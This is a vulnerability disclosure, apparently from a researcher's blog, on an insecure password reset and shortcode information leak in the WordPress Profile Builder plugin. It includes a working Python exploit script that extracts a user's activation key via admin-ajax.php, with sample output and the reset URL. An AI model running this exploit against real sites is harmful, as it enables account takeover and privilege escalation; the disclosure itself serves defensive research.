The plugin is affected by an Insecure Password Reset Mechanism and a Sensitive Information Disclosure via Shortcode vulnerability, which leads to Privilege Escalation. The plugin has an improperly used method allowing to reset the user password, and gain unauthorized access. The key required for password reset, which is stored in the database, can be retrieved with the plugin’s shortcode as an authenticated user.

 

Let’s check the plugin

The wppb_toolbox_usermeta_handler() function gets user meta with the following code:

$value = $user->get( $atts['key'] );

There are no restrictions on what user meta values can be queried.

The wppb_front_end_password_recovery() function handles the password reset with the following code:

$key = sanitize_text_field( $_POST['key'] );
$user_object = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->users WHERE user_activation_key = %s", $key ) );

The problem is that it queries the user directly using the hashed activation key.

Note: In the core method, the key is sent via email to the user and then stored as hashed in the database. During password reset, the key sent via email is hashed and compared with the database stored hashed key for security reasons, as it prevents abuse of the stored hashed key in the database.

 

Let’s configure the plugin

In the Profile Builder Settings, select the “Yes” option for “Enable Usermeta shortcode” at “Advanced Settings” tab at “Shortcodes” subtab.

This setting allows the website to use the [user_meta] shortcode.

Let’s create a Recover Password page and add the following shortcode to it:

[wppb-recover-password]

 

Let’s see how we can exploit this vulnerability

There is an AJAX parser for getting the value of the shortcode, which can be exploited with a logged-in user.

I created a Python script that returns the user_activation_key:

import json
import requests


# remove script tags from text
def remove_script_tags(text):
    import re
    clean = re.compile(r'<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>')
    return re.sub(clean, '', text).strip()


website_url = 'https://lana.solutions/vdb/cozmoslabs-profile-builder/'
username = 'demo'
password = 'demo'
user_id = '3'

# format url
website_url = website_url.rstrip('\/')

# create shortcode
shortcode = '[user_meta user_id="' + user_id + '" key="user_activation_key"]'

with requests.Session() as session:
    # login request
    session.post(website_url + '/wp-login.php', data={
        'log': username,
        'pwd': password
    })

    # parse shortcode request
    response = session.post(website_url + '/wp-admin/admin-ajax.php',
                            headers={'Content-Type': 'application/x-www-form-urlencoded'},
                            data={'action': 'parse-media-shortcode', 'shortcode': shortcode})

    response_json = json.loads(response.text)

    if response_json['success']:
        # get user_activation_key
        user_activation_key = remove_script_tags(response_json['data']['body'])
        print('user_activation_key: %s' % user_activation_key)
    else:
        # get error message
        print(response_json['data']['message'])

the script returns the user activation key as a string:

user_activation_key: 1675860449:$P$BzteMdaBIYji/hnP3IXQhddCmab1FL.

Then we can use the key for password reset.

For this, we have to open the Recover Password page, and add the key parameter to it:

https://lana.solutions/vdb/cozmoslabs-profile-builder/recover-password/?key=1675860449:$P$BzteMdaBIYji/hnP3IXQhddCmab1FL.

If the key is correct, we use the form to change the user’s password using the password and repeat password fields.

 

Try it

Feel free to try and use the lana.solutions/vdb WordPress websites for testing. I have set the roles and capabilities, so you can only get low level access to the website.

Website: https://lana.solutions/vdb/cozmoslabs-profile-builder/